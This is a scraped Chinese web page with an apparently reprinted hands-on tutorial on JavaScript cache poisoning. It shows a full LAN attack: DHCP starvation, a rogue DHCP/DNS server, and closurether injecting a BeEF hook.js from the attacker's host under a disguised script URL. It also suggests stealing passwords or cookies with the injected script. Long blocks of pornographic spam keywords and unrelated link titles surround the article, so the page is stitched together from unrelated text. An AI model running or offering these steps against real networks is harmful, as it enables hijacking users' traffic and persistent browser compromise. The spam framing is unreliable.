精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Javascript緩存投毒學(xué)習(xí)與實(shí)戰(zhàn)

安全 應(yīng)用安全
js緩存投毒說白了就是受害者的瀏覽器緩存了一個(gè)被我們篡改的js腳本,如果緩存沒有被清除,每次這個(gè)受害者訪問網(wǎng)頁的時(shí)候都會(huì)加載我們的js腳本。

0x00 起因

不久前@三好學(xué)生師傅買了一個(gè)wooyun wifi,然后聊到了緩存投毒:

 

Alt text

 

然后看到wooyun wifi的這個(gè)說明:

默認(rèn)情況下該功能附帶緩存投毒功能,將視圖緩存所有的頁面至2099年,您可以通過清除所有緩存以及瀏覽器數(shù)據(jù)來清除緩存投毒的影響。

覺得這是個(gè)很不錯(cuò)的技術(shù),所以查詢谷爺,度娘,拜讀了@EtherDream 大牛寫的文章以后,就有了這篇文章,也算是一個(gè)總結(jié)。

0x01 簡介&原理

js緩存投毒說白了就是受害者的瀏覽器緩存了一個(gè)被我們篡改的js腳本,如果緩存沒有被清除,每次這個(gè)受害者訪問網(wǎng)頁的時(shí)候都會(huì)加載我們的js腳本。

那他是什么原理呢,很簡單,其實(shí)就是瀏覽器的緩存機(jī)制,通常,為了加速各種靜態(tài)資源的訪問,各大網(wǎng)站會(huì)把一些靜態(tài)資源緩存到客戶端,這樣一方面能提高客戶體驗(yàn),一方面也能減輕web服務(wù)器的壓力。

瀏覽器緩存控制機(jī)制有兩種:HTML Meta標(biāo)簽 以及 HTTP頭信息,通常,web開發(fā)者可以在HTML頁面的head節(jié)點(diǎn)中加入Meta標(biāo)簽,比如:

 

  1. <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 

 

代碼的作用是告訴瀏覽器當(dāng)前頁面不被緩存,每次訪問都需要去服務(wù)器拉取。 更多瀏覽器緩存機(jī)制我就不多說了,詳情請(qǐng)戳我。

要想預(yù)加載并緩存一個(gè)腳本很容易,只需new Image().src=''。當(dāng)然有少數(shù)瀏覽器不支持,不過ie和chrome都是支持的。盡管js文件并不是一個(gè)圖片,但仍然會(huì)緩存。

0x02 準(zhǔn)備工作

安裝node

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下載

tar zxvf node-master.zip //解壓

cd node-master

./configure

make //編譯

make install //安裝

安裝closurether

npm install -g closurether

安裝phantomjs

下載安裝,具體詳見phantomjs,根據(jù)自己的系統(tǒng)進(jìn)行選擇。

0x03 示例

測試過程中,使用了EtherDream大牛的demo。具體過程如下。

下載安裝:

root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
root@kali:~/Desktop/# cd js
root@kali:~/Desktop/js/# npm install

更新緩存列表

root@kali:~/Desktop/js# cd tool/
root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

 

Alt text

 

這個(gè)腳本的作用主要是為了找出各大網(wǎng)站中緩存最久的腳本資源,也就是我們要進(jìn)行投毒的腳本鏈接。網(wǎng)站可以再url.txt里面添加,之后將生成的json復(fù)制到 asset 目錄。

root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/

運(yùn)行

root@kali:~/Desktop/js/tool# cd ..
root@kali:~/Desktop/js# node index.js

測試:

瀏覽器代理 HTTP -> 127.0.0.1:8080 訪問任意 HTTP。

 

Alt text

 

關(guān)閉代理 打開126,360等網(wǎng)站(chrome測試成功,火狐失敗)成功彈框。

 

Alt text

 

關(guān)閉瀏覽器(不清除緩存),再次打開,訪問360時(shí)依然會(huì)彈框。

其中,index.js實(shí)現(xiàn)了代理并替換原本靜態(tài)腳本響應(yīng)內(nèi)容,并將響應(yīng)頭中Cache-Control字段改為max-age=31536000,如下圖代碼:

 

Alt text

 

而替換的腳本為asset目錄下的stub.js,stub.js注入外部js關(guān)鍵代碼如下圖:

 

Alt text

 

其中www.etherdream.com/hack/trojan.js 為我們可控的js,上例中該js的內(nèi)容為

alert('xss run: ' + location.href);

我們可以通過修改該腳本內(nèi)容來實(shí)現(xiàn)不同的功能。

0x04 實(shí)戰(zhàn)

此次實(shí)戰(zhàn)在局域網(wǎng)中結(jié)合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻擊機(jī)使用了kali2.0。

1.開啟beef

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef

2.配置closurether

獲取最新的緩存列表

root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer
root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer# phantomjs sniffer.js

可以通過修改url.txt的內(nèi)容來指定網(wǎng)站,此次測試過程中url中包含126以及360幾個(gè)網(wǎng)站。 配置config.json文件如下:

{
        "hacker_url": "http://192.168.1.108:3000/hook.js",
        "inject_url": "http://10086.cn/js10086/201306301200.js",
        "debug": false,
        "dump": false,
        "dumpPath": "./dump/"
}

其中hacker_url為我們的js地址,此處為beef的js地址,inject_url 為偽裝的js地址。

運(yùn)行closurether:

root@kali:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443

2.進(jìn)行dhcp攻擊:

下載dhcpstarv,安裝:

root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
root@kali:~/Desktop# cd dhcpstarv-0.2.1/
root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure
root@kali:~/Desktop/dhcpstarv-0.2.1# make
root@kali:~/Desktop/dhcpstarv-0.2.1# make install

Kali默認(rèn)沒有安裝dhcpstarv,也可以用yersinia代替

安裝dhcp服務(wù)器:

root@kali:~# apt-get install isc-dhcp-server

修改dhcp配置文件dhcpd.conf

root@kali:~# cd /etc/dhcp/
root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
root@kali:/etc/dhcp# vim dhcpd.conf

修改DHCP分配的地址池,修改默認(rèn)路由為原來路由的Ip,修改廣播地址:

 

Alt text

 

設(shè)置dns為開啟了closurether的地址,如下圖:

 

Alt text

 

這里最好加一個(gè)正常的DNS服務(wù)器地址最為備選,防止我們的DNS服務(wù)對(duì)部分域名不解析

開啟操作系統(tǒng)的路由轉(zhuǎn)發(fā):

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

啟動(dòng)DHCP服務(wù):

root@kali:/etc/dhcp# service isc-dhcp-server start

攻擊正常的dhcp服務(wù)器,耗光ip資源:

root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108

-e參數(shù)后面跟攻擊者的ip

 

Alt text

 

然后當(dāng)有客戶端連入的時(shí)候,由于正常的DHCP服務(wù)器已經(jīng)沒有可分配的IP資源,新的內(nèi)網(wǎng)主機(jī)就會(huì)使用攻擊者DHCP服務(wù)器分配的IP,如下圖:

 

Alt text

 

可以看到DNS已經(jīng)改成了我們想要改的地址。

這里說明下,如果可以直接進(jìn)路由修改DNS,就直接進(jìn)路由改,這樣比較穩(wěn)定,修改DNS為我們運(yùn)行closurether的地址。

主要工具運(yùn)行截圖:

 

Alt text

 

這時(shí),被篡改DNS的客戶端瀏覽網(wǎng)站的時(shí)候,就會(huì)運(yùn)行我們植入的JS腳本,打開126以后,可以看到beef那里已經(jīng)成功上線了:

 

Alt text

 

而我們的js則已經(jīng)被隱藏為10086的js

 

Alt text

 

將路由器重啟,使用正常的DHCP為虛擬機(jī)分配ip地址,使用瀏覽器(未清理緩存)打開360:

 

Alt text

 

這時(shí)可以看到beef上又上線了:

 

Alt text

 

beef的功能很強(qiáng)大,但不是本文的重點(diǎn),當(dāng)然js也可以換成其他,別如竊取某些網(wǎng)站的賬號(hào)密碼的js,或者獲取客戶端cookie的等等,這里就不多說了

這樣就達(dá)到了時(shí)光機(jī)的效果,雖然上網(wǎng)環(huán)境換了,但是由于瀏覽器的緩存沒有清除,任然會(huì)執(zhí)行我們的js,至此整個(gè)攻擊完成。

0x05 總結(jié)

從上面的整個(gè)過程可以得出的結(jié)論就是不要隨意通過不認(rèn)識(shí)的wifi上網(wǎng)!

責(zé)任編輯:藍(lán)雨淚 來源: 烏云知識(shí)庫
相關(guān)推薦

2015-11-11 14:54:35

網(wǎng)絡(luò)·安全技術(shù)周刊

2019-03-20 08:00:00

DNS緩存欺騙惡意軟件

2010-11-09 17:19:41

2019-02-21 09:00:40

2024-06-18 08:31:33

2022-01-26 10:09:25

安全漏洞掃描工具緩存投毒漏洞

2025-07-21 06:15:00

漏洞拒絕服務(wù)攻擊網(wǎng)絡(luò)安全

2023-05-05 06:13:51

分布式多級(jí)緩存系統(tǒng)

2010-03-03 14:47:41

2022-03-09 18:54:30

HTTP緩存協(xié)議cache

2025-03-26 03:25:00

SpringGuavaCaffeine

2025-09-18 08:42:30

2015-11-12 09:32:03

Javascript設(shè)計(jì)模式

2015-11-03 09:43:43

avascript設(shè)計(jì)模式工廠模式

2020-07-29 09:13:28

JavaScript開發(fā)技術(shù)

2015-11-25 11:10:45

Javascript設(shè)計(jì)觀察

2020-06-18 09:16:20

JavaScript緩存API

2021-04-21 21:09:36

緩存系統(tǒng)高可用

2018-04-23 11:11:52

數(shù)據(jù)挖掘機(jī)器學(xué)習(xí)Python

2019-11-21 14:01:37

Python數(shù)據(jù)挖掘機(jī)器學(xué)習(xí)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

日韩视频一区在线观看| 国产精品久久久久久久久快鸭| 欧美疯狂xxxx大交乱88av| 91人妻一区二区| 中文字幕色婷婷在线视频| 国产精品网站一区| 国产经品一区二区| 特级西西444www高清大视频| 亚洲成人三区| 亚洲美女中文字幕| 亚洲丝袜在线观看| 性欧美超级视频| 亚洲一区精品在线| 亚洲a∨一区二区三区| 韩国av电影在线观看| 奇米四色…亚洲| 性色av香蕉一区二区| 奇米网一区二区| 国产在线播放精品| 欧美高清精品3d| 日韩精品一区二区三区久久| av免费在线观看网址| www一区二区| 999国产在线| 亚洲香蕉在线视频| 欧美专区在线| 97超视频免费观看| 国产精品九九九九九九| 色爱综合网欧美| 日韩精品在线视频观看| 韩国三级在线看| 深夜福利亚洲| 欧美日韩中文字幕一区| 欧美日韩亚洲一| www在线看| 亚洲人成影院在线观看| 亚洲日本无吗高清不卡| 国产一区二区三区福利| 91社区在线播放| 国产精品加勒比| www.精品久久| 国产精品一区二区黑丝 | www欧美xxxx| 亚洲免费视频成人| 裸体裸乳免费看| 欧美jizz18性欧美| 中文字幕在线观看不卡| 亚洲最大免费| 免费大片黄在线| 国产精品国产三级国产aⅴ中文 | 日本三级日本三级日本三级极| 日韩在线精品强乱中文字幕| 日韩一区二区三区视频在线观看| 日本中文字幕观看| 国产不卡精品在线| 日韩精品在线网站| 亚洲熟妇一区二区| 超碰一区二区三区| 亚洲缚视频在线观看| 国产精品成人无码专区| 国产女人18毛片水真多18精品| 精品国产a毛片| 日本少妇毛茸茸| 人人网欧美视频| 日韩成人高清在线| 玖玖爱在线观看| 国模吧精品视频| 俺去了亚洲欧美日韩| 欧美大片xxxx| 亚洲视频一区| 45www国产精品网站| 国产寡妇亲子伦一区二区三区四区 | 日韩av在线网页| japanese中文字幕| 久久激情电影| 欧美疯狂xxxx大交乱88av| 色婷婷在线观看视频| 日韩和的一区二区| 91久久精品一区| 国产91麻豆视频| xf在线a精品一区二区视频网站| 日韩久久精品一区二区三区| 老司机av在线免费看| 亚洲一区二区三区激情| aa免费在线观看| 免费日韩成人| 精品国产一区二区三区久久影院| av午夜在线观看| 久久国产精品99久久人人澡| 91视频国产高清| 老熟妇高潮一区二区高清视频| 97久久精品人人做人人爽50路| 日韩精彩视频| 亚洲综合影视| 色综合久久久久| 91欧美一区二区三区| 欧美巨大xxxx| 日韩视频欧美视频| 日本高清不卡码| 久久99久国产精品黄毛片色诱| 国产66精品久久久久999小说| 蜜桃视频在线入口www| 亚洲日本一区二区| 久久网站免费视频| 涩爱av色老久久精品偷偷鲁 | 国产精品99视频| 国模私拍视频一区| 国产精品欧美亚洲| 久久亚区不卡日本| 日韩精品在线视频免费观看| 91在线成人| 精品中文视频在线| 久久精品这里只有精品| 蜜桃一区二区三区四区| 老司机精品福利在线观看| 18网站在线观看| 在线观看国产91| 性久久久久久久久久久| 欧美成人tv| 国产欧美日韩视频| 黄色av免费在线看| 五月综合激情网| 自拍视频第一页| 99精品视频在线观看播放| 日韩美女视频中文字幕| 少妇人妻偷人精品一区二区 | 国产精品国产三级国产专区52| 精品亚洲国内自在自线福利| 日韩久久久久久久| 日韩精品99| 精品中文视频在线| 青青国产在线观看| av亚洲精华国产精华精| 久久亚洲a v| 欧美午夜在线播放| 久久激情视频久久| 亚洲综合一区中| 国产精品欧美精品| 亚洲一区二区三区四区五区xx| 婷婷成人综合| 日本欧美一二三区| 欧美女子与性| 色一区在线观看| www在线观看免费视频| 国产欧美三级| 免费观看国产成人| 欧美大片免费| 国产一区二区av| 国产99久久久久久免费看| 久久日一线二线三线suv| 漂亮人妻被中出中文字幕| 美国成人xxx| 欧美一级在线亚洲天堂| 日本五码在线| 在线观看www91| 国产精品久久国产精麻豆96堂| 免费美女久久99| 在线看视频不卡| 久久丁香四色| 午夜剧场成人观在线视频免费观看| 亚洲国产剧情在线观看| 亚洲成人资源网| 无码人妻精品一区二区三区温州 | 一区二区三区高清在线| 怡红院一区二区| 免播放器亚洲| 亚洲不卡中文字幕| 日本成人一区二区| 日韩视频免费大全中文字幕| 国产成人免费看一级大黄| 亚洲第一精品在线| 熟女高潮一区二区三区| 九色综合国产一区二区三区| 四虎4hu永久免费入口| 97久久综合精品久久久综合| 欧美亚洲在线视频| 91视频在线观看| 日韩女优电影在线观看| 黄色片中文字幕| 国产精品电影一区二区三区| 91丨porny丨九色| 午夜亚洲福利在线老司机| 婷婷精品国产一区二区三区日韩 | 国产一区二区三区四区五区在线| 欧亚av在线| 中文字幕亚洲一区在线观看 | 91成人福利| 日本欧美在线视频| 先锋成人av| 亚洲视频在线视频| 性中国xxx极品hd| 欧美综合一区二区| 国产网站在线看| 中文字幕av资源一区| 国产精品果冻传媒| 蜜臀久久99精品久久久久宅男 | 精品少妇一区二区三区视频免付费| 国产一区二区三区影院| 亚洲欧美在线aaa| 亚洲国产欧美视频| 韩国女主播成人在线| 欧美日韩在线中文| 欧美日韩亚洲三区| 亚洲蜜桃在线| 日韩av网站在线免费观看| 亚洲xxxx18| 欧美日一区二区三区| 97在线视频免费播放| 国产成人高清精品| 中文日韩电影网站| 青青视频在线观| 精品国产免费人成在线观看| 97人妻精品一区二区三区视频| 岛国视频午夜一区免费在线观看 | 国产精品激情| 亚洲自拍的二区三区| 一区二区美女| 精品国产一区二区三区麻豆小说| 亚洲欧洲日韩精品在线| 国产精品久久久久久久久久久久| 蜜桃视频在线观看免费视频| 久久99久久99精品免观看粉嫩| 最近高清中文在线字幕在线观看| 日韩电影在线观看中文字幕| 亚洲av综合色区无码一二三区| 欧美老年两性高潮| 中文字幕一区二区免费| 91黄色免费版| www.com亚洲| 日韩欧美极品在线观看| 日韩精品成人一区| 亚洲高清不卡在线观看| 裸体武打性艳史| 日韩一区中文字幕| 一级免费黄色录像| 国产精品乱码久久久久久| 日韩精品无码一区二区三区久久久 | 国内在线观看一区二区三区| 国内精品国产三级国产99| 亚洲澳门在线| 老司机午夜网站| 中文在线日韩| 肉大捧一出免费观看网站在线播放| 日韩一区二区在线| 亚洲日本无吗高清不卡| 午夜欧美在线| 无码人妻aⅴ一区二区三区日本| 欧美电影免费观看高清| 国产又大又长又粗又黄| 欧美在线二区| 黄色一级片黄色| 日韩午夜av在线| 日韩精品xxxx| 日韩激情一区二区| 在线黄色免费观看| 国产综合色精品一区二区三区| 日本黄色福利视频| 国产精品乡下勾搭老头1| 国产裸体视频网站| 99综合电影在线视频| 国产精品一区二区入口九绯色| 久久久激情视频| 特黄一区二区三区| 亚洲免费观看高清完整版在线观看 | 日韩在线你懂的| 欧美在线一二三区| 日韩国产一区二区| 中文字幕第一页亚洲| 午夜精品偷拍| 黄色免费视频大全| 蜜臀va亚洲va欧美va天堂| 一区二区三区四区毛片| 粉嫩aⅴ一区二区三区四区| 久久偷拍免费视频| 中文字幕巨乱亚洲| 久久久久无码精品国产| 色视频一区二区| 国产不卡av在线播放| 亚洲黄在线观看| 都市激情在线视频| 欧美精品一区三区| 一区二区三区短视频| 91精品国产综合久久男男| 风间由美一区二区av101| 欧美深深色噜噜狠狠yyy| 91成人国产| 国产a级一级片| 久久99精品国产麻豆婷婷| 在线播放av网址| 久久久精品2019中文字幕之3| 999精品视频在线观看播放| 午夜精品久久久久| 亚洲中文一区二区三区| 亚洲精品国产精品国自产观看浪潮| 福利片在线观看| 久久久视频精品| 久久不卡日韩美女| 九色视频成人porny| 亚洲影视一区二区三区| 三级4级全黄60分钟| 国产成人综合亚洲91猫咪| 非洲一级黄色片| 亚洲一区二区三区中文字幕| 午夜一级黄色片| 亚洲国产精品久久| 黄色免费在线网站| 国产精品www色诱视频| 好吊妞视频这里有精品| 91制片厂免费观看| 日产国产欧美视频一区精品| 在线免费看黄色片| 亚洲精品大片www| 亚洲图片小说视频| 亚洲视频一区二区三区| 国产乱码精品一区二三赶尸艳谈| 成人午夜两性视频| jlzzjlzz亚洲女人| 国产成人无码av在线播放dvd| 成人免费福利片| 男的操女的网站| 欧美日本一道本| www在线播放| 日韩av大片免费看| 日本欧美三级| 欧美大片在线播放| 丁香亚洲综合激情啪啪综合| 亚洲二区在线播放| 在线播放视频一区| 求av网址在线观看| 国产精品一香蕉国产线看观看| 亚欧日韩另类中文欧美| 成熟丰满熟妇高潮xxxxx视频| 国产suv一区二区三区88区| 综合五月激情网| 欧美精品 日韩| 二区三区在线观看| 亚洲999一在线观看www| 亚洲乱码在线| 天天爽夜夜爽视频| 亚洲激情一二三区| 99热这里只有精品99| 久久99久国产精品黄毛片入口| 日本免费一区二区三区视频| 日韩人妻精品一区二区三区| 国产一区二区在线看| 久久久久久久久久网站| 日韩手机在线导航| 操喷在线视频| 久久艹中文字幕| 视频在线观看一区二区三区| 国产精品毛片一区二区| 色老汉一区二区三区| 1769在线观看| 99porn视频在线| 伊人久久大香线蕉综合热线| 欧美一区二区免费在线观看| 欧美日韩免费观看中文| 成人免费黄色网页| 91精品久久久久久久久不口人| 亚洲欧美在线专区| 免费啪视频在线观看| 大桥未久av一区二区三区| 超碰97在线免费观看| 成人精品久久一区二区三区| 欧美三级第一页| 免费中文字幕av| 欧美性欧美巨大黑白大战| 成人影院在线观看| 国内一区在线| 免费看欧美美女黄的网站| 九九热国产在线| 亚洲美腿欧美激情另类| 不卡亚洲精品| 台湾无码一区二区| 久久免费视频一区| 99久久精品日本一区二区免费| 久久久亚洲欧洲日产国码aⅴ| 尤物tv在线精品| 超碰91在线播放| 欧美性xxxxx极品| 美女国产在线| 久中文字幕一区| 精品无人码麻豆乱码1区2区| 国产污片在线观看| 深夜精品寂寞黄网站在线观看| 国产精品白浆| 中文av一区二区三区| 图片区小说区国产精品视频| 亚洲精品承认| 精品乱色一区二区中文字幕| 久久av资源站| 在线观看国产亚洲| 中文字幕亚洲二区| 日韩大胆成人| 日本黄色www| 欧洲色大大久久| 国产剧情av在线播放| 日韩最新中文字幕| 日本一区二区在线不卡| 蜜臀av中文字幕|